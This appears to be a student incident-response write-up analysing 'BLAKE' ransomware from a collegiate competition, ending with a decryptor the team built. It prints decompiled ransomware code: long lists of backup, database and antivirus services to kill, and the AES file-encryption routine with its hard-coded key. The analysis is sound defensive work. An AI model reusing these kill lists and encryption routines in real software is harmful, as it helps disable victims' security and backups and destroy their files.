This is a full analysis of the BLAKE malware that was used in the Collegiate Incident Response Competition for Undergraduate Student (CIRCUS) 2026. The malware was found on some of the Windows machines and it was essentially a ransomware that would encrypt the system’s files and demand a ransom in Monero (XMR). We successfully reverse engineered the malware and we found the decryption key in the malware itself. This analysis will cover how we reverse engineered the malware as well as a detailed overview of all of the functions in the program.
How we reverse engineered BLAKE
Inspecting the file header
After finding the malware executable, we ran the file command on Linux against the malware to inspect the file header. Here is the output:
BLAKE.exe: PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sections
From the file header, the malware is a Windows executable that only runs on Windows Vista and above (NT 6.00 is the kernel version for Windows Vista). The part of the file header that is the most important is Intel i386 Mono/.Net assembly, 3 sections. This tells us that the malware was written in some kind of .NET language. 95% of the time, it is usually C#, however there’s always a small chance that it was written using VB.NET or F#.
Getting a full source code dump
To confirm that it was written in C#, on a Kali Linux virtual machine, we installed the dotnet SDK and ran the ilspycmd utility against the malware. Here are the following commands used to achieve this.
# Installing dotnet 8 runtime and SDK (Debian 13 commands)
# https://learn.microsoft.com/en-us/dotnet/core/install/linux-debian?tabs=dotnet8
wget https://packages.microsoft.com/config/debian/13/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
rm packages-microsoft-prod.deb
sudo apt update && sudo apt install dotnet-runtime-8.0 dotnet-sdk-8.0
# Installing ilspycmd using dotnet package manager
dotnet tool install -g ilspycmd
ilspycmd BLAKE.exe -o BLAKE_SRCThis gave us the full C# cource code of the malware. Upon initial inspection of the code, we found that there were no obfuscations in the source code at all. The code was clearly readable and the attacker did not obfuscate the code in any way. This proved to be vital in not only knowing what the malware does, but how we can decrypt the files on the systems without negotiating with the attacker.
BLAKE malware code analysis
This portion will be dedicated to analyzing the malware source code itself. Not all functions/classes will be documented here. Only the functions/classes that represent the core behavior of the malware. This analysis will be divided into sections cooresponding to each class in the malware.
FileUnlocker
The FileUnlocker class has functions used to unlock files that are behind held by other processes.
WmiManager
The WmiManager class is used for interacting directly with the operating system (interacting with processes, starting/ stopping services). There are various functions used for killing processes. Processes can either be killed by their name or process ID in the system (KillProcessByName() and KillProcessByPid()). There are also functions used for starting, stopping, and restarting services.
ProcessInfo
ProcessInfo is a simple class used to store properties of a process (essentially just a high-level representation of a Process Control Block used in various operating systems). Here is the data structure holding the process control block.
public class ProcessInfo
{
public int ProcessId { get; set; }
public string Name { get; set; }
public string ExecutablePath { get; set; }
public long MemoryUsage { get; set; }
public override string ToString()
{
return $"[{ProcessId}] {Name} - {MemoryUsage / 1024:N0} KB";
}
}ServiceInfo
ServiceInfo does the same thing as ProcessInfo, just with services. Here is the service control block.
public class ServiceInfo
{
public string Name { get; set; }
public string DisplayName { get; set; }
public string State { get; set; }
public string StartMode { get; set; }
public string PathName { get; set; }
public override string ToString()
{
return $"{Name} ({DisplayName}) - {State}";
}
}Killer
The Killer class contains two hard-coded arrays of strings used to store specific processes and services that are meant to be killed.
private static string[] processes = new string[38]
{
"thunderbird.exe", "agntsvc.exe", "dbeng50.exe", "dbsnmp.exe", "isqlplussvc.exe", "msaccess.exe", "msftesql.exe", "mydesktopqos.exe", "mydesktopservice.exe", "mysqld-nt.exe",
"mysqld-opt.exe", "mysqld.exe", "ocautoupds.exe", "ocssd.exe", "oracle.exe", "sqlagent.exe", "sqlbrowser.exe", "sqlservr.exe", "synctime.exe", "thebat.exe",
"thebat64.exe", "encsvc.exe", "ocomm.exe", "xfssvccon.exe", "excel.exe", "infopath.exe", "mspub.exe", "onenote.exe", "outlook.exe", "powerpnt.exe",
"visio.exe", "winword.exe", "wordpad.exe", "CNTAoSMgr.exe", "mbamtray.exe", "Ntrtsc", "PccNTMon.exe", "tmlisten.exe"
};
private static string[] services = new string[186]
{
"VeeamDeploySvc", "Acronis VSS Provider", "SQL Backups", "SQLsafe Backup Service", "SQLsafe Filter Service", "Symantec System Recovery", "Veeam Backup Catalog Data Service", "Zoolz 2 Service", "AcrSch2Svc", "ARSM",
"BackupExecAgentAccelerator", "BackupExecAgentBrowser", "BackupExecDeviceMediaService", "BackupExecJobEngine", "BackupExecManagementService", "BackupExecRPCService", "BackupExecVSSProvider", "bedbg", "MMS", "mozyprobackup",
"MSSQL$VEEAMSQL2008R2", "ntrtscan", "PDVFSService", "SDRSVC", "SNAC", "SQLAgent$VEEAMSQL2008R2", "SQLWriter", "VeeamBackupSvc", "VeeamBrokerSvc", "VeeamCatalogSvc",
"VeeamCloudSvc", "VeeamDeploymentService", "VeeamDeploySvc", "VeeamEnterpriseManagerSvc", "VeeamHvIntegrationSvc", "VeeamMountSvc", "VeeamNFSSvc", "VeeamRESTSvc", "VeeamTransportSvc", "wbengine",
"wbengine", "sms_site_sql_backup", "MsDtsServer", "MsDtsServer100", "MsDtsServer110", "msftesql$PROD", "MSOLAP$SQL_2008", "MSOLAP$SYSTEM_BGC", "MSOLAP$TPS", "MSOLAP$TPSAMA",
"MSSQL$BKUPEXEC", "MSSQL$ECWDB2", "MSSQL$PRACTICEMGT", "MSSQL$PRACTTICEBGC", "MSSQL$PROD", "MSSQL$PROFXENGAGEMENT", "MSSQL$SBSMONITORING", "MSSQL$SHAREPOINT", "MSSQL$SQL_2008", "MSSQL$SQLEXPRESS",
"MSSQL$SYSTEM_BGC", "MSSQL$TPS", "MSSQL$TPSAMA", "MSSQL$VEEAMSQL2008R2", "MSSQL$VEEAMSQL2012", "MSSQLFDLauncher", "MSSQLFDLauncher$PROFXENGAGEMENT", "MSSQLFDLauncher$SBSMONITORING", "MSSQLFDLauncher$SHAREPOINT", "MSSQLFDLauncher$SQL_2008",
"MSSQLFDLauncher$SYSTEM_BGC", "MSSQLFDLauncher$TPS", "MSSQLFDLauncher$TPSAMA", "MSSQLSERVER", "MSSQLServerADHelper", "MSSQLServerADHelper100", "MSSQLServerOLAPService", "MySQL57", "MySQL80", "OracleClientCache80",
"ReportServer$SQL_2008", "RESvc", "SQLAgent$BKUPEXEC", "SQLAgent$CITRIX_METAFRAME", "SQLAgent$CXDB", "SQLAgent$ECWDB2", "SQLAgent$PRACTTICEBGC", "SQLAgent$PRACTTICEMGT", "SQLAgent$PROD", "SQLAgent$PROFXENGAGEMENT",
"SQLAgent$SBSMONITORING", "SQLAgent$SHAREPOINT", "SQLAgent$SQL_2008", "SQLAgent$SQLEXPRESS", "SQLAgent$SYSTEM_BGC", "SQLAgent$TPS", "SQLAgent$TPSAMA", "SQLAgent$VEEAMSQL2008R2", "SQLAgent$VEEAMSQL2012", "SQLBrowser",
"SQLSafeOLRService", "SQLSERVERAGENT", "SQLTELEMETRY", "SQLTELEMETRY$ECWDB2", "mssql$vim_sqlexp", "IISAdmin", "NetMsmqActivator", "POP3Svc", "SstpSvc", "UI0Detect",
"W3Svc", "aphidmonitorservice", "intel(r) proset monitoring service", "unistoresvc_1af40a", "audioendpointbuilder", "MSExchangeES", "MSExchangeIS", "MSExchangeMGMT", "MSExchangeMTA", "MSExchangeSA",
"MSExchangeSRS", "msexchangeadtopology", "msexchangeimap4", "Sophos Agent", "Sophos AutoUpdate Service", "Sophos Clean Service", "Sophos Device Control Service", "Sophos File Scanner Service", "Sophos Health Service", "Sophos MCS Agent",
"Sophos MCS Client", "Sophos Message Router", "Sophos Safestore Service", "Sophos System Protection Service", "Sophos Web Control Service", "AcronisAgent", "Antivirus’", "AVP", "DCAgent", "EhttpSrv",
"ekrn", "EPSecurityService", "EPUpdateService", "EsgShKernel", "ESHASRV", "FA_Scheduler", "IMAP4Svc", "KAVFS", "KAVFSGT", "kavfsslp",
"klnagent", "macmnsvc", "masvc", "MBAMService", "MBEndpointAgent", "McAfeeEngineService", "McAfeeFramework", "McAfeeFrameworkMcAfeeFramework", "McShield", "McTaskManager",
"mfefire", "mfemms", "mfevtp", "MSSQL$SOPHOS", "sacsvr", "SAVAdminService", "SAVService", "SepMasterService", "ShMonitor", "Smcinst",
"SmcService", "SntpService", "sophossps", "SQLAgent$SOPH", "svcGenericHost", "swi_filter", "swi_service", "swi_update", "swi_update_64", "TmCCSF",
"tmlisten", "TrueKey", "TrueKeyScheduler", "TrueKeyServiceHel", "WRSVC", "vapiendpoint"
};The killProcesses() and killServices() functions are then used to kill all of these processes/services.
public static void killProcesses()
{
string[] array = processes;
for (int i = 0; i < array.Length; i++)
{
WmiManager.ForceKillProcess(array[i]);
}
}
public static void killServices()
{
string[] array = services;
for (int i = 0; i < array.Length; i++)
{
WmiManager.ImmediateForceStopService(array[i]);
}
}FileEncryptor
This is the most important class in the entire program. It contains functions that are used to encrypt/decrypt files in the operating system. The decryption key is stored as a field in the FileEncryptor itself. It is an array of bytes that contain the ASCII numbers for the key.
private static readonly byte[] Key = new byte[32]
{
77, 121, 83, 101, 99, 114, 101, 116, 75, 101,
121, 49, 50, 51, 52, 53, 54, 55, 56, 57,
48, 65, 66, 67, 68, 69, 70, 71, 72, 73,
74, 75
};There is also a hard-coded initialization vector. This is being used to add randomness to the encryption to make it harder to crack.
private static readonly byte[] IV = new byte[16]
{
1, 2, 3, 4, 5, 6, 7, 8, 9, 10,
11, 12, 13, 14, 15, 16
};When the byte values are decoded, they spell out MySecretKey1234567890ABCDEFGHIJK. This key is used to encrypt/decrypt files in the operating system. For example, if we look at EncryptFileFull() and DecryptFileFull(),
private static void EncryptFileFull(string filePath)
{
string text = filePath + ".BLAKE";
byte[] array = File.ReadAllBytes(filePath);
using (Aes aes = Aes.Create())
{
aes.Key = Key;
aes.IV = IV;
aes.Padding = PaddingMode.PKCS7;
using ICryptoTransform cryptoTransform = aes.CreateEncryptor();
byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
File.WriteAllBytes(text, bytes);
}
File.Delete(filePath);
Console.WriteLine("Full encryption complete. PATH: " + text);
}
private static void DecryptFileFull(string filePath)
{
byte[] array = File.ReadAllBytes(filePath);
string text = filePath.Replace(".BLAKE", "");
using (Aes aes = Aes.Create())
{
aes.Key = Key;
aes.IV = IV;
aes.Padding = PaddingMode.PKCS7;
using ICryptoTransform cryptoTransform = aes.CreateDecryptor();
byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
File.WriteAllBytes(text, bytes);
}
File.Delete(filePath);
Console.WriteLine("Full decryption complete. PATH: " + text);
}We can see that it using AES to encrypt the file as well as adding using the initialization vector to randomize the encryption, making it harder to crack. It is also using PKCS7 padding to ensure that the size of the data is the same as the block size. One thing worth noting is that none of the decrypt functions are ever called in the program. The attacker added the functionality to decrypt files, but did not want the victim to use that functionality.
MicrosoftSecurityService
Ironically, the main class in the program is called MicrosoftSecurityService. This class has some simple helper functions such as dropping ransomware notes and dropping icon files. The main function calls the essential functions for the program.
The solution
It’s one thing to understand what the malware does, but we also needed to decrypt the files without negotiating with the attackers. Since we had the full source code, we were able to create a decryption program that would fully decrypt any file on the system. Here is the code:
using System;
using System.IO;
using System.Security.Cryptography;
public class FileDecryptor
{
private const long SizeThreshold = 10 * 1024 * 1024; // 10 MB
private const int StripeChunkSize = 64 * 1024; // 64 KB
private static readonly byte[] Key = new byte[32]
{
77, 121, 83, 101, 99, 114, 101, 116, 75, 101,
121, 49, 50, 51, 52, 53, 54, 55, 56, 57,
48, 65, 66, 67, 68, 69, 70, 71, 72, 73,
74, 75
};
private static readonly byte[] IV = new byte[16]
{
1, 2, 3, 4, 5, 6, 7, 8,
9, 10, 11, 12, 13, 14, 15, 16
};
public static void DecryptFile(string filePath)
{
long size = new FileInfo(filePath).Length;
Console.WriteLine($"File: {filePath}");
Console.WriteLine($"Size: {size:N0} bytes ({size / 1024.0 / 1024.0:N2} MB)");
if (size < SizeThreshold)
{
Console.WriteLine("Using: Full decryption");
DecryptFileFull(filePath);
}
else
{
Console.WriteLine("Using: Stripe decryption (in-place)");
DecryptFileStripeInPlace(filePath);
}
}
private static void DecryptFileFull(string filePath)
{
byte[] encrypted = File.ReadAllBytes(filePath);
string outputPath = Path.ChangeExtension(filePath, null);
using (Aes aes = Aes.Create())
{
aes.Key = Key;
aes.IV = IV;
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
using ICryptoTransform decryptor = aes.CreateDecryptor();
byte[] decrypted = decryptor.TransformFinalBlock(encrypted, 0, encrypted.Length);
File.WriteAllBytes(outputPath, decrypted);
}
File.Delete(filePath);
Console.WriteLine($"Decrypted: {outputPath}");
}
private static void DecryptFileStripeInPlace(string filePath)
{
using (Aes aes = Aes.Create())
{
aes.Key = Key;
aes.Mode = CipherMode.ECB;
aes.Padding = PaddingMode.None;
using FileStream fs = new FileStream(
filePath, FileMode.Open, FileAccess.ReadWrite, FileShare.None);
long length = fs.Length;
byte[] buffer = new byte[StripeChunkSize];
for (long offset = 0; offset < length; offset += StripeChunkSize * 2)
{
int toRead = (int)Math.Min(StripeChunkSize, length - offset);
toRead = toRead / 16 * 16; // AES block align
if (toRead <= 0)
break;
fs.Seek(offset, SeekOrigin.Begin);
int read = fs.Read(buffer, 0, toRead);
using ICryptoTransform decryptor = aes.CreateDecryptor();
byte[] decrypted = decryptor.TransformFinalBlock(buffer, 0, read);
fs.Seek(offset, SeekOrigin.Begin);
fs.Write(decrypted, 0, decrypted.Length);
}
}
string outputPath = Path.ChangeExtension(filePath, null);
File.Move(filePath, outputPath, overwrite: true);
Console.WriteLine($"Decrypted: {outputPath}");
}
}
class Program
{
static void Main(string[] args)
{
if (args.Length == 0)
{
Console.WriteLine("Usage: blake_decrypt <file.BLAKE>");
return;
}
try
{
FileDecryptor.DecryptFile(args[0]);
}
catch (Exception ex)
{
Console.WriteLine("Error: " + ex.Message);
}
}
}